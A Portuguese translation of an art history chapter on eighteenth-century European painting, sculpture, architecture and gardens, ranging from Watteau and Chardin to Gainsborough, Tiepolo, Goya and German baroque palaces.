A Arte na Europa no Século XVIII – História da Arte

A Arte na Europa no Século XVIII – História da Arte

Pierre du Columbier – História da Arte

A Arte na Europa no Século XVIII

Preponderâcia francesa   O papel de mestra das artes que aItália assumira havia dois séculos,passa de facto, durante o século xviii, para a França. A mudança opera-se de maneira mais prática do que teórica. Porque esta França tão imitada não cessa de enviar os seus artistas à Academia fundada por Colbert em Roma e de venerar os gigantes da Renascença. É certo que se não abstém de criticar os seus sucessores e particularmente esse espírito barroco cujos êxitos, entre nós, foram sempre passageiros e se limitaram a actividades menores, como a ourivesaria ou o mobiliário, não sem incorrer aliás nas condenações severas de muitos artistas.

O que a nossa arte então colhe é primeiramente o resultado da gigântea empresa de coordenação levada a cabo sob o cetro de Luís xiv. Ela criou o cenário ideal dum género de vida, a duma antes de tudo de maravilhosas tradições técnicas: é o estilo a que chamamos Luís xvi, em que a severidade se tempera com um sorriso e em que o mobiliário, indo buscar motivos ao Egipto e à Grécia, mantém a sua gracilidade. Gabriel dá-nos, no Pequeno Trianon, um exemplo requintado deste aticismo de boa fibra. Mais másculo, Louis edifica o teatro de Bordéus e Antoine a Casa da Moeda. Soufflot ergue a sua magnífica Igreja de Santa Genoveva, cuja cúpula, levantada sobre um alto tambor, é a mais altaneira de Paris. Devemos felicitar-nos sem dúvida por que considerações de solidez o tenham forçado a tapar as janelas que havia rasgado: o Panteão ganhou assim uma severidade um pouco dura. Formam-se nesta escola curiosos temperamentos, como Ledoux autor da surpreendente salina de Arc-et-Senans e dos pavilhões das portas de Paris, cheio de projectos gigânteos que só muito parcialmente levou a cabo e em que toda a gente encontra alguma coisa de seu gosto, tanto os fanáticos da antiguidade como os amadores da nudez arquitectónica.

Pintura

Ao dealbar do século, havia já algum tempo que a pintura fermentava. Lebrun não pudera conservar até ao fim o seu domínio intransigente. Que, por sua morte, haja sido substituído no favor do Rei pelo medíocre e velhíssimo Mignard, não tem em si grande importância. Mas tem-na, e muito maior, a revolta dos amadores, sob a direcção do crítico Roger de Piles, fervoroso amador de Rubens. Em volta dele, havia impaciência em sacudir o jugo — e Nicolas Poussin, em cujo nome esse jugo era imposto, viu-se discutido pela primeira vez. Lembraram-se os direitos da cor. Os Flamengos não tinham perdido, no foro de muitos amadores, o seu lugar privilegiado; e, na forte escola de retratistas do século, o artista mais apreciado não era talvez tanto Rigaud, autor das efígias oficiais do Rei, como Nicolas de Largillière, robusto discípulo dos pintores dos Países Baixos e que de bom grado prescindia das encomendas da Corte, achando mais rendosa a clientela particular. Era uma tradição análoga que se perpetuava também com Desportes, cujo pincel estava sempre pronto a representar tanto a baixela do Rei como os cães das suas matilhas. Magnífico pintor, aliás, esse Desportes, cujos estudos de animais, feitos no Jardim do Rei, são de firmeza pouco comum, enquanto os seus esboços de paisagens, recentemente descobertos, dão mostras dum género de sensibilidade e duma espécie de modernidade igualmente inesperados.

Em suma, tudo estava pronto para a reacção. Surgiu um grande pintor para lhe dar autoridade: Antoine Watteau. Com ele, as lições do Ticiano e de Rubens, seus verdadeiros mestres, adquiriam direitos de cidade entre nós. Mas Watteau é sobretudo um mestre profundamente original por uma poesia de que tem o segredo. O que, nos Flamengos, era abundância, exuberância, transforma-se em distinção, em finura. E lícito ver em certas obras da maturidade de Rubens, nos Jardins do Amot em especial, a origem dos temas dos franceses, das suas festas galantes, como lhes chamaram; mas na arte do segundo descobre-se um sentimento leve, impalpável, terno até à melancolia. Watteau apossou-se do mundo artificial da comédia para murmurar a sua canção. Nunca insiste nem força a nota, antes acaricia. Mergulha as formas na bruma doirada duma paisagem imaginada como sendo a Ilha de Citera. Uma vez, para o seu amigo Gersaint, quando ele próprio estave prestes a sucumbir à tísica que o levou, pintou pura e simplesmente a loja do negociante-coleccionador. E esta pintura puramente anedótica toma um aspecto de magia, graças à escolha deliciosa das cores: os cinzentos de linho, os setins brancos e pretos, os malvas, os tons loiros do tabaco. Para conhecer Watteau, convém ainda ter admirado os seus desenhos, em que o gordo da sanguínea se combina com o gordo do carvão para celebrar a mulher de formas cheias, que se adelgaçam graças à elegância do vestido.

Watteau morreu em 1721: é pois, durante a maior parte da sua vida, um pintor do reinado de Luís xiv — e da parte mais sombria do reinado de Luís xiv — portanto o contemporâneo de Madame de Maintenon. Possuindo o privilégio dos poetas, ele soube prever e, por isso, quase não sofreu a influência do meio.

Pela escolha dos assuntos, pela maneira de os entender, criou uma escola, a dos pequenos mestres das Festas Galantes. Os melhores de entre eles, Lancret e Pater, estão muito longe de nada valer. Falta-lhes contudo «não sei quê», um «não sei quê» de alado, para rivalizarem com Watteau. Lancret, o que mais dele se aproxima, é no entanto um pouco acanhado, um pouco seco e, muitas vezes, as suas criaturas têm mais o ar de manequins demodas do que de seres de carne e osso; no conjunto, carece de qualidades másculas. O mesmo sucede com Boucher, que foi o predilecto da sua época e só muito relativamente podia merecer tal preferência. Ele reconquistou-a contudo em nossos dias. Ninguém, por certo, iguala Boucher no arranjo dum quadro, e este apaixonado da mulher criou um tipo gordo, sensualmente provocador, admirável para cativar os olhos. Os seus desenhos voluptuosos e redondos valem quase sempre mais do que as suas pinturas, cujo colorido açucarado é terrivelmente convencional. O decorador, superior ao pintor, compôs cartões de tapeçarias mais do que agradáveis, em que essa convenção, longe de molestar, faz o efeito duma ideia preconcebida.

A um género muito diverso pertence Fragonard, cuja carreira se prolonga para além do fim do século. Perante certas telas em que Frago prodigalizou os tons mais raros, perante a sua Bacante adormecida, carne rósea numa poeira luminosa, perante as suas Lavadeiras, em que brincam os cinzentos mais subtis, é caso para dizer que este meridional de bom humor tinha o génio da pintura. Cometeu talvez o erro de não crer inteiramente nos seus raros dons e de se contentar com excessiva facilidade. Mas como levar–lhô a mal ?! A veia das suas sépias, obtidas com pincéis levíssimos e animados por um movimento endiabrado, não permite qualquer espécie de censura.

Ao pé de Frago, não se pode omitir o que foi o seu companheiro das descuidosas vadiações em Itália, o alegre Hubert Robert Por certo, Hubert Robert, pintor em demasia, demasiado raras vezes mostrou como houvera podido pintar. Paisagista fácil, não desconfia tanto como convinha do prazer que espalha à sua roda e limita-se de bom grado a um efeito decorativo que não lhe custa nenhum esforço sério, mas que seria de desejar que confrontasse com a natureza, cuja profunda poesia de todo lhe escapa. Joseph Vernet, com menor espontaneidade e dons menos brilhantes, tinha mais assento. As suas vistas quase documentárias dos portos de França são também óptimas pinturas. Excelente paisagista, mas apenas excelente, não pertencia ao número daqueles que promovem as revoluções em pintura. Aceitou a convenção geral da sua época e usou dela com distinção.

Não nos deixemos no entanto burlar facilmente, uma vez mais,pelo carácter ligeiro da pintura no século xvni: esta época teve retratistas iguais aos que a escola francesa produziu de melhor no seu género. Maurice Quentin de Latour usa do pastel com um vigor de que se julgava quase incapaz esta matéria. A natureza tinha-lhe conferido o dom de apanhar num relance os traços mais salientes duma fisionomia, e as suas «preparações» famosas, de que o Museu de Saint-Quentin possui bom número, asseguram-lhe um alto lugar. Acontece-lhe por vezes estragá-las com uma feitura demasiado minuciosa, de precisão fotográfica. A sua sensibilidade da cor, ou até pura e simplesmente a sua sensibilidade, era muito inferior à do seu rival Perronneau, cuja voga foi no entanto menor do que a sua e que percorreu a província em cata de modelos. Mas a veia criadora não estanca. No fim do século, situam-se as obras-primas de Aved, de Duplessis. E numerosos pintores quase desconhecidos ou até anónimos pintam na província figuras que são por vezes duma verdade e duma inteligência superiores.

O que há nestes artistas de comum é serem a eflorescência da sociedade em que viveram. Em certos séculos, a arte surge como um refúgio, em que õs artistas parecem protestar contra a crueldade ou.contra o filistinismo do seu tempo. No século xviii, quadram exactamente com o mundo que os rodeia e a que procuram agradar. A sua arte é essencialmente sociável, amável, de boa companhia; não visa demasiado alto, nem quando o artista se chama Antoine Watteau; sorri, hostil às grandes empresas como aos grandes sentimentos. Eis a sua força e a sua fraqueza. Quando a moda do antigo se fez sentir na pintura como noutros sectores, só produziu medíocres artistas, como Vien, mas a sua própria gravidade é ainda galante: foi preciso o rude pulso de David para restabelecer a ordem em todo este domínio.

Que se não pretenda no entanto que tal concepção da pintura é em extremo superficial. Poder-se-ia antes demonstrar que ela corresponde a necessidades bastante profundas para que a arte do século xvii, após um momento de eclipse, tenha readquirido uma voga sem igual, a ponto de que há por vezes que protestar contra certos excessos de entusiasmo. Tudo o que recorda esta sociedade brilhante goza dos benefícios do amor e dos benefícios do dinheiro, sem que a moda pareça desmentir-se. Esta abrange ainda, bem entendido, os desenhadores que contaram a história desse mundo encantador já extinto, os anedotistas como Moreau o Moço ou os Saint-Aubin. A falar verdade, são testemunhas de valor excepcional. Sempre esquadrinhadores, em cata de todos os espectáculos, aproveitam o que encontram. O menor rabisco da sua mão, o que improvisam em meia dúzia de traços de lápis na margem dum catálogo de venda é um prodígio de segurança, de habilidade e de espírito.

No entanto, os direitos da pintura, no que ela possui de mais profundo, de mais rebelde à análise, de mais independente do assunto representado, não são esquecidos, porque o século xviii é também o século de Chardin. Mais do que qualquer outro, soube Chardin tirar proveito da lição dos Flamengos, dos quais herdou a habilidade de escamotear todas as dificuldades, o dom de tudo transformar em matéria pictórica; mas a sua sensibilidade é de outro quilate. Chardin é um puro Francês, um Francês que passou a vida num horizonte estreito, entre Saint-Germain-des-Prés, bairro em que nasceu, e o Louvre, onde teve mais tarde aposentadoria. Em determinada época, foi moda opor Chardin, pintor das virtudes burguesas e do Terceiro Estado, pretensamente obscuro, aos pintores da alta roda. Esta oposição é por completo artificial. Ninguém foi mais apreciado no seu tempo do que o bonacheirão Chardin e esse bonacheirão, que não era destituído de finura, soube lindamente fazer valer os seus créditos junto dos gazeteiros e dos críticos. Vendia os seus quadros por alto preço e o sufrágio dos seus pares deu-lhe um lugar preponderante na Academia: nos Salões, desempenhava as funções de promotor de vendas. Sem nenhuma dúvida, a sua arte difere profundamente da de Watteau e da sua escola. Primeiro pelos assuntos: pintou sobretudo naturezas mortas sabiamente compostas, mas sem o amontoado fatigante dos pintores do Norte. Usa para esse efeito duma técnica que surpreende à primeira vista os contemporâneos pela sua audácia. Chardin procede por toques justapostos sem os confundir, sem visar esse ilusório «acabado» que constituía uma das preocupações dominantes da sua época. O que esta técnica tinha de brusco permitia-lhe alcançar a frescura. Uma uva tem a sua leve camada de pó, um pêssego a sua penugem. É preciso um singular poder de observação para tornar sensíveis tais particularidades de matéria. Pintou também cenas familiares e crianças com uma simplicidade tão sábia como a dos Holandeses e urna sensibilidade mais ingénua. Os brancos, os gris têm nele densidade e delicadeza surpreendentes.

O que a sua sensibilidade tem de íntimo pode contrastar com o carácter adulterado da de Greuze. Este é o ilustrador duma moda que alcançou pleno êxito no fim do século xvm e se aparenta, nas letras, com a maneira de Jean-Jacques Rousseau. Num estilo liso e lambido, Greuze representou as cenas mais edificantes e mais moralizadoras, não sem lhes exagerar a expressão; mas isso não basta para fazer um pintor — e Greuze merecia ser esquecido se uma sensualidade de carácter duvidoso, uma sensualidade que se esconde sob a máscara da inocência não viesse dar um sabor deveras picante às criaturas da sua imaginação, raparigas de exagerada frescura que quebraram a bilha na fonte.

Escultura Não causa surpresa que a influência do barroco,tão esporádica em França, tenha incidido mais sobre os escultores do que sobre os pintores. Pois não oferecia a escultura o exemplo prestigioso de Bernini ? Os Coustou não estiveram debalde em contacto com ele e os seus Cavalos de Marly, empinados num tão soberbo movimento que triunfam, como impressão de conjunto, dos de Coysevox, bastam para o mostrar, bem como certos monumentos funerários, o do Marechal de Saxe, por Pigalle, na Igreja de São Tomás de Estrasburgo, ou a estátua, equestre de Pedro o Grande, por Falconet, também empinada, mas sobre um rochedo, em São Petersburgo. O carácter social da arte francesa tendia bastante lamentavelmente a desencaminhar a escultura para o amaneiramento, para o «bibelot», inconveniente que quadra menos a esta arte do que a qualquer outra. Na verdade torna-se difícil ser severo para com Clodion, tal como sucede na pintura com Frago. Esse Loreno, Clodion, Claude Michel de seu verdadeiro nome, modelou de maneira requintada minúsculos baixos–relevos, aos quais a matéria empregada, muitas vezes terra-cota, dá ainda maior fragilidade.

Depois, há que sublinhar, para honra da escultura francesa, que, quando o perigo do barroco e o perigo do amaneiramento pareciam ameaçá-la, os bustos conservaram todas as suas qualidades de vida e até de força: Pigalle fez alguns de largueza inesperada para quem conhece o resto das suas obras e os Lemoyne não merecem menos ser admirados neste género. Os Caffieri, bron-zistas de ornato antes de tudo, são autores de efígies expressivas e espirituais.

A reacção que se produziu sob o influxo da moda antiga foi mais proveitoso à escultura do que à pintura. Dois nomes a representam entre nós, os de Bouchardon, cuja fonte da Rua Grenelle testemunha uma pureza de linhas inimiga de toda e qualquer sobrecarga, e de Houdon. Este último é um mestre completo. O seu São Bruno, que esculpiu em Roma para a Igreja de Santa Maria dos Anjos, é já uma obra de mestre pela gravidade da atitude — composição num só bloco, que contrasta com a negligência do barroco. Na Diana, embora esse nu apresente belos volumes lisos, podem notar-se certas concessões ao ideal de garridice do tempo; mas Houdon vale sobretudo pela incomparável série dos seus bustos, que, à medida que ele avança em idade, se simplificam cada vez mais e ganham em sobriedade; os volumes essenciais, o do crânio em particular, assumem grande nitidez. Contudo os mais populares são aqueles cuja expressão de vida — aspecto em que o artista primava igualmente — é mais sorridente e mais espirituosa. Instintivamente, o público situa Houdon na sua época própria.

Inglaterra O culto de Rubens, que renovara a pintura francesa, alimentou ainda nessa época a arte dum país que não brilhara, desde a Idade Média, pelas suas qualidades plásticas: a Inglaterra. Aí se sucede uma série de artistas que nos deixaram da aristocracia e das elegâncias do seu país uma imagem brilhante e lisonjeira. Se podemos falar da índole sociável da arte francesa, importa também registar que a arte inglesa assume um carácter mais especialmente mundano. O aspecto é certamente mais atraente do que entre nós, as cores mais cintilantes, aplicadas com vivacidade maior; a própria composição do retrato, muitas vezes de pé e em trajos de gala, mostra um arranjo mais afectado e que denuncia decidido empenho em obter os sufrágios gerais. E a postura tomada no fotógrafo, o fotógrafo de arte, entende-se, não ô fotógrafo de casamentos burgueses. No entanto, até entre os melhores destes artistas, não se manifesta senão muito raramente o desejo de ir além da epiderme. Se agradaram ao modelo, isso basta para os contentar — e esforçam-se muito menos por se satisfazerem a si próprios ou por satisfazerem amadores exigentes. Nos museus, não devem olhar-se as suas obras na vizinhança das telas dos mestres. A moldura para a qual foram concebidas é a desses castelos em que tudo respira a calma, a opulencia, e em que a dona da casa mostra com altivez o retrato da sua avó pintado por Reynolds ou Gainsborough.

Com efeito, estas duas reputações eclipsam as outras: Reynolds, espírito muito distinto, que tinha reflectido a fundo em todos os problemas da sua arte e conhecia aproximadamente todas as receitas, tudo o que se pode aprender estudando, um pouco frio contudo e mais rico de ciência que de génio natural; Gainsborough, mais verdadeiramente pintor. Nos seus primeiros trabalhos este último tinha até uma espontaneidade um tanto desabrida, de mistura com uma pontinha de inabilidade que, no entanto nos emociona mais do que o virtuosismo que adquiriu depois. A exemplo de Van Dyk, que nunca deixou de ser para os nossos vizinhos objecto de verdadeiro culto, procura de bom grado o alongamento, o áfilamente requintado das formas. Ama o brilho das sedas, a leveza das musselinas e dá aos modelos que pinta um invólucro que poetiza e adoça os traços do rosto. Paisagista, segue demasiado estritamente as pegadas de Rubens, tão estritamente que os seus quadros, até a Carroça famosa, têm o ar de coisas vistas através desse mestre, o que os torna frios, apesar da suavidade da execução.

E, atrás de Gainsborough, atrás de Reynolds, manifestam-se diversos talentos, entre os quais brilham os de Romney e do escossês Raeburn, cujos tons têm muito brilho, mas um brilho que arranca exclamações admirativas sobretudo àqueles que ignoram que o colorista não se impõe forçosamente pela intensidade dos pigmentos.

Estes retratistas ingleses souberam manter a sua concepção sem conhecer a dúvida ou o desfalecimento: no fim deste século e no começo do seguinte, Lawrence salva ainda o que pode salvar-se do retrato oficial. Censuram-lhe justamente a sua facilidade mas restaram-lhe méritos de execução bastantes para deslumbrar Eugène Delacroix.

Formando embora o essencial da produção inglesa, os retratos não são tudo. A corrente moralizadora que deu em França Greuze manifestara-se muito antes entre os nossos vizinhos.

Hogarth — muito mais antigo do que os pintores atrás referidos — representa-a. Hogarth é dotado dum temperamento muito mais vigoroso do que Greuze e que toma com facilidade o aspecto satírico. Cultiva de bom grado uma caricatura não isenta de monotonia, visto ser caricatura geral e de expressão. As suas diversas séries de obras com pretensões sociais, como a Carreira dum libertino, o Casamento da moda, compõem-se de quadrinhos minuciosos, muito observados e muito frios no seu acabamente excessivo, A sua Vendedeira de camarões, de carnação esplendorosa, é um dos trechos de pintura mais justamente populares no seu país.

Bastante recentemente, a Inglaterra descobriu os seus anedo-tistas. Não se pode, sem dúvida, fazê-los passar por grandes artistas. Têm muita secura, um tom burguês muito baixo, uma cor elementar e quase gritante, mas a sua ingenuidade, a sua observação levada longe demais repousam-nos um tanto da afectação dos pintores da moda. Nesta categoria entram também os autores de «peças de conversação», como Zoffany, que num salão representava toda uma companhia, e também os retratistas de cavalos e de cães, tais como Stubbs. que evocam a vida ao ar livre dos grandes senhores provincianos. Com a mesma veia de inspiração assaz pobre, os gravadores, e sobretudo os gravadores em cores, gozam duma reputação que devem principalmente aos prestígios da técnica.

Se a escultura inglesa é então muito fraca — defeito estranhamente constante neste país — a arquitectura recusa dobrar-se às imposições continentais. Mais francamente que outrora, professa um severo paladianismo. Por o não conhecer suficientemente, presta-se raras vezes justiça a esse século xviii inglês tão nítido, tão puro de linhas. Ora estas qualidades manifestam-se também no mobiliário de madeira, que é em fim de contas, o único mobiliário na Europa que não imita o mobiliário francês. O gosto da antiguidade manifesta-se em Inglaterra tão precocemente, senão mais precocemente ainda do que entre nós, nos graciosos modelos do arquitecto Robert Adam e do seu irmão. Mas tudo isto conservará em alto grau carácter insular.

Não se dirá outro tanto duma arte em que a Inglaterra obteve o seu mais brilhante êxito, aquele que lhes deu renome em toda a Europa: a arte dos jardins. Aos jardins regulares de Lenôtre, que haviam triunfado durante tanto tempo, ela opõe uma concepção verdadeiramente nova, seja qual for a maneira por que a queiram julgar. Ela repudia o jardim que parece o prolongamento do castelo e substitui-lhe alguma coisa de mais próximo da natureza, alguma coisa que pretende ser como que uma natureza não corrigida pelo homem, Uma parte desta inspiração provém das modas exóticas e em particular do conhecimento dos jardins da China. Aos vastos relvados salpicados de manchas de arvoredos e cingidos de áleas sinuosas misturam-se pequenas construções que testemunham o gosto dos países longínquos e a curiosidade pelo passado. O castelo fendal torna-se vizinho do pagode. Vastos, estes jardins não são destituídos de encanto para o passeante, graças à variedade dos seus aspectos mudáveis e às surpresas que provocam. Pequenos, têm muitas vezes o ar de brinquedos. Mas o seu êxito foi prodigioso. Basta dizer que a sua voga não cessa de aumentar no próprio país de Lenôtre. Quanto aos exemplos concretos que deles nos deu a Inglaterra, foram extremamente numerosos. O parque de Kew, singularmente, ordenado por Chambers, passou por ser o modelo do género.

Itália – Se a França, no primeiro plano, e a Inglaterra, no segundo, tomaram a direcção das artes, a Itália, rica de grandes recordações e avantajada pelo seu prestígio, está longe de ter abdicado. No entanto, vive sobretudo do passado. A pintura só se mantém com brilho em Veneza, onde Tiépolo se revela um dos maiores decoradores. Na Vila Valmarana de Vi-cenza, até em Veneza, em Wurtzburgo, aonde foi chamado pelos príncipes-bispos a fim de decorar os seus palácios, enfim em Madrid, recobre os tectos e as paredes com as suas criações deslumbradoras, pintadas num colorido claro e alegre. Ninguém como ele possui tal ciência dos escorços, do movimento, e sabe ligar de maneira mais íntima as personagens às arquitecturas verdadeiras ou fingidas. Pernas escalam as cornijas e nelas se arrastam roupagens. Veneza inteira, cintilante de alegria, toda entregue ao prazer do seu Carnaval, revive nos pincéis de Tiépolo. A cidade tem também deliciosos paisagistas, com Canaletto e Guardi à frente, e anedo-tistas atraentes como Longhi. Na decoração de estuque, muito abundante, mas leve apesar de tudo, o barroco sofre uma transformação local cheia de imprevisto e a cor, empregada com menos discrição do que em França, dá-lhe um sabor particular.

Nápoles teve também o seu decorador, tão fácil como Tiépolo, tão apto como ele a recobrir grandes superfícies, Solimene, a quem falta contudo a divina faísca do Veneziano e a frescura que torna Tiépolo incomparável.

Nos outros pontos da Itália, os tempos vão maus. Em Roma, é certo, nasceu a moda do antigo, a cujos efeitos já nos referimos, mas que devia ter as suas mais vastas consequências sobretudo no século xix, de sorte que a respectiva análise será reservada para o capítulo seguinte. Mas esta revolução, se é certo que se efectuou no meio romano, teve sobretudo estrangeiros por artífices.

Espanha Ao procurar noutros países os grandes pintores. O grande pintor, poder-se-ia dizer com mais propriedade, porque em Espanha, onde surge, fica, como muitas vezes ali sucede, quase de todo isolado: Goya. E lícito perguntar se Goya deve situar-se no século XVIII ou no século xix. Ele participa do espírito das duas épocas e, apenas na sua pessoa, franqueia o espaço que parece separar a arte sorridente e de boa companhia do século XVIII e a arte romântica do século xix, ao passo que, nos outros países, o segundo destes fenómenos só se segue ao primeiro depois do intermédio do regresso ao antigo. Aragonês rude e iletrado mas não sem malícia, Goya, favorito de dois reis, bastante pouco corajoso sem dúvida, pois foi daqueles que, antes de insultarem o rei intruso José Bonaparte, se inclinaram com subserviência perante ele, faz-nos esquecer as suas palinódias com 0 seu génio e sua paixão. Os seus cartões de tapeçarias, que representam cenas populares, estão ainda na tradição garrida e desenvolta dos Franceses, mas com carácter mais rústico. Nem os seus admiráveis retratos marcam absolutamente uma ruptura. Imagine-se um artista que junte a brilhante facilidade de pincel dos Ingleses e o dom inexorável de filar e penetrar os modelos. As mais frescas, as mais agradáveis cores, sobretudo cinzentos cariciosos, mas também uma observação impiedosa, que faz com que certas obras suas, o retrato colectivo da família real em particular, tomem o aspecto de vastas caricaturas, de tal forma traduziu, posta de banda toda e qualquer ideia cortesã, a toleima presumida dos fantoches que «pousaram» para ele. Algumas das suas grandes telas, como o Dois e o Três de Maio, e sobretudo as suas gravuras, falam uma linguagem diferente, a da paixão pura do ódio, da ferocidade. Os Desastres da Guerra, terrível sátira que mostra o lado lúgubre, sádico e absurdo das chacinas, aterram; é como lava em fusão. Libelo contra os, exércitos franceses, sim, mas sobretudo contra a loucura universal dos homens. Outras séries, como os Provérbios e os Disparates, são muitas vezes obscuras e difíceis de interpretar. Isso resulta do facto de elas representarem a efusão natural dum cérebro um tanto excêntrico e que compunha dominado por uma espécie de obsessão. Sátiras de costumes, ataques raivosos contra os padres — porque o anti-clericalismo foi um dos sentimentos arreigados de Goya — a sua intensidade resulta também duma técnica de água-forte que visa o efeito e plenamente o atinge. O artista procura as vibrantes oposições do branco e do negro, renova a maneira livre de Rembrandt, mas é muito menos reflectido que o grande Holandês e, além disso, o seu traço não tem a mesma segurança. Desenhador elíptico, apaixonado do movimento, demasiado rápido para ser correcto, mas seguro e que se impõe aos outros por essa mesma segurança, forjou um instrumento exactamente adaptado ao que ele tinha a transmitir.

Tendo servido reis em extremo desprezíveis, terminou a sua vida exilado a bem dizer voluntariamente em França e morreu em Bordéus. Quando já era muito idoso, pôde ver os primeiros passos dos românticos, aos quais, nas suas Corridas de Toiros litografadas e que poderiam julgar-se dum rapaz, dá exemplos duma audácia mais radical ainda que a deles.

Alemanha Na escola francesa, na escola inglesa, em Goya (porque ninguém ousará falar duma escola espanhola, de tal modo o Aragonês esmaga os seus compatriotas) se resumem sem dúvida as novidades trazidas pelo século xviii. Mas desenvolveu-se então um espírito internacional, uma habilidade geral que se espalham pela Europa inteira. Produzem-se ressurreições, cujo valor, todavia considerável, nem sempre foi reconhecido. Assim, a Alemanha renasce para as artes com muito brilho.

O seu génio manifesta-se sem dúvida de maneira incompleta a pintura pouco produz de notável, exceptuando alguns decoradores brilhantes, como o austríaco Maulpertsch; e a escultura, embora a produção do estranho Permoser seja abundante e em extremo curiosa e a de Rafael Donner muito sedutora, só conta um artista verdadeiramente importante: André Schluter. Este trabalhou em Berlim, onde fez o monumento equestre do Grande Eleitor, sem contar as poderosas figuras de guerreiros moribundos que ornam o Arsenal de Berlim. A justo título, sublinhou-se quanto deve Schluter à arte francesa no que respeita à composição monumental. Nada seria, porém, tão injusto como tomá-lo por um simples imitador. O seu temperamento, barroco na emoção, mas reflectido na concepção, dá-lhe prestígio pessoal.

No entanto, a glória da Alemanha do século xvin reside na arquitectura. Primeiramente, este país foi um dos maiores centros de construção da Europa e — coisa rara no tempo — tanto para a arquitectura religiosa como para a civil. Com efeito, a Guerra dos Trinta Anos, cujas devastações foram terríveis, não poupara uma nem outra. Além disso, produziu-se contra o luteranismo e o cal-vinismo uma ofensiva católica sob o impulso das ordens religiosas e em particular dos jesuítas. Por isso, é um dos países onde mais se encontram majestosas abadias, vastos conventos, grandes igrejas. Quanto à arquitectura civil, a força actuante é menos uma necessidade prática do que uma necessidade moral, filha duma ambição dinástica quase sempre desmedida. Toda a Alemanha se encontra dividida em estados soberanos, alguns deles pequeníssimos, sob a autoridade nominal do Império —e os príncipes querem à compita fazer de Luís xiv. Por isso, constroem enormes castelos, tão grandes como Versalhes, sem se inquietarem muito com os meios de que podem dispor.

Poder-se-ia considerar, de maneira um pouco esquemática mas bastante exacta, que o século xviii alemão se divide entre a influência italiana e a influência francesa, das quais a primeira prevalece até 1 720, enquanto a segunda leva a melhor depois dessa data e triunfa sem contestação. Tal maneira de ver não teria suficientemente em consideração a complexidade das coisas. «Influência italiana»: estas palavras não dizem respeito apenas às igrejas ou aos castelos erguidos pelos Italianos (embora estes trabalhem muitas vezes em regiões, como o Tirol, cujo espírito é bastante particular). Da mesma forma, «influência francesa» não quer dizer: edifícios devidos a Franceses (embora estes, na Alemanha, nem sempre tenham construído como o haveriam feito em França). Importa também considerar o que fizeram os naturais, muitos dos quais conseguiram, pela combinação engenhosa do barroco italiano e do rocòcó francês (este último termo aplica-se indistintamente a tudo o que provém do nosso país), uma originalidade indiscutível. Por isso, convém percorrer quanto possível os países germânicos, para neles distinguir as cambiantes, as influências diversas. E até o historiador, para ser completo, deveria tomar em consideração numerosos factores, como a religião do príncipe ou os seus parentescos.

Os Austríacos adiantam-se aos mais, primeiro, com artistas italianos, depois, com dois grandes mestres indígenas: Fischer d’Erlach e Hildebrandt. Um e outro são de espírito profundamente barroco, mas o seu programa é muitas vezes o da residência real de Versalhes. Nesta ordem de ideias, Hildebrandt ergue o Castelo do Belvedere em Viena: Fischer é também um soberbo construtor de palácios. Praga enche-se de sumptuosos edifícios devidos a diversos artistas. Ao mesmo tempo, em toda a Alemanha do sul e na Áustria, encontram-se belas construções religiosas, entre as quais importa citar pelo menos a Abadia de Melk, por Prandauer, debruçada sobre o Danúbio, e as edificações de toda a família dos Dienzenhofer na Francónia, na Suábia e na Suíça, embora se tenda hoje a retirar a esses artistas, mais mestres-pedreiros do que arquitectos, uma parte da glória que se lhes atribuía com excessiva liberalidade. Por outro lado, em Dresda, o hábil Pcepelmann levanta o curioso edifício que é o Zwinger, espécie de cintura de construções baixas em torno de um recinto maravilhosamente apropriado às festas.

A influência francesa começou com personagens bastante obscuras e bastante falhas de inspiração, como Froimont, que trabalhou em Manheim, e Louis Rémy de la Fosse, que construiu o Castelo de Darmstadt, e bem assim com Parisienses mais célebres, que enviavam muitas vezes as suas plantas arquitectónicas para a Alemanha e encarregavam os seus discípulos de as executarem. Assim, Robert de Cotte ergueu os Castelos de Brühl e de Poppels-dorf para o Eleitor de Colónia e um palácio em Francfort para a família de La Tour-et-Taxis. Ao serviço do Príncipe-Bispo da Baviera, em Munique sobretudo, trabalhou pessoalmente o delicioso decorador Cuvilliés, fértil representante do gosto Regência. Boffrand foi consultado para a construção do Castelo de Wurtzburgo.

Entretanto, em Wurtzburgo, o problema apresenta-se já de forma diferente. Na Francónia e na região renana, domina com efeito o poder de grandes mecenas, os Schcenborn, que chegam a ocupar quase simultaneamente os episcopados de Tréveros, Mogún-cia, Espira, Wurtzburgo, com um território considerável. Empregam os maiores arquitectos alemães e, entre eles, o primeiro de todos, Balthazar Neumann, que construiu, a bem dizer, a residência. Neumann, prestando embora homenagem à arquitectura francesa, a tal ponto que consulta os seus mais célebres representantes, conserva o seu temperamento arreigadamente barroco, como o atestam sobretudo as suas escadarias monumentais de Wurtzburgo ou Bru-chsal. A igreja de Vierzehsnheiligen é uma das suas construções mais arejadas, um dos raros monumentos religiosos do século xviii em que uma arte de essência graciosa atinge a grandeza. Curiosíssimo é igualmente Maximiliano de Welsch, durante muito tempo quase esquecido, porquanto este grande senhor está a meio caminho entre o inspirador e o arquitecto profissional e mandou executar os seus planos por indivíduos menos talentosos do que ele, mas que são os únicos a aparecer nos documentos. Também ele patenteia uma saborosa mistura de temperamento barroco e de programa francês: o seu Castelo de la Favorite, perto de Mogún-cia, copiava exactamente a planta de Marly.

Durante a segunda metade do século, o gosto esmerado dos arquitectos franceses predomina, e esse teatro exterior das nossas actividades proporciona-nos a descoberta de artistas brilhantíssimos, que havíamos esquecido: o loreno Nicolas de Pigage, que o Eleitor Palatino chamou a si quando se dispersou a pequena corte do Rei Estanislau em Nancy; o parisiense Louis-Philippe de la Guêpière. que criou, para o Duque de Wurtemberga, os encantadores Castelos de Monrefios e de la Favorite; o singular Michel Ixnard, pouco instruído mas fecundo em ideias desmedidas, que só em parte pôde levar a cabo, tanto na Abadia de São Brás na Floresta Negra, como no Castelo de Coblença.

Um país que merece atenção particular, menos pela perfeição do que ali se produziu do que pela importância que devia adquirir e pela qualidade do seu principal construtor, é a Prússia. Sob o governo dos seus primeiros soberanos, recebera um contingente de refugiados huguenotes, expulsos de França pelo Edito de Nantes. No reinado do grande Frederico, a Prússia tomou caminhos diferentes. Este príncipe tinha um gosto algo extravagante e, em Sans-Souci, exerceu mais de uma vez pressão embaraçosa sobre o seu arquitecto e amigo Knobelsdorf, que, discípulo dos Franceses, substituiu o gosto destes pelo gosto barroco, que presidira à construção do Castelo Real. Este mesmo artista, aliás, devia sofrer fortemente, no fim da sua carreira, a influência do antigo e de Paládio.

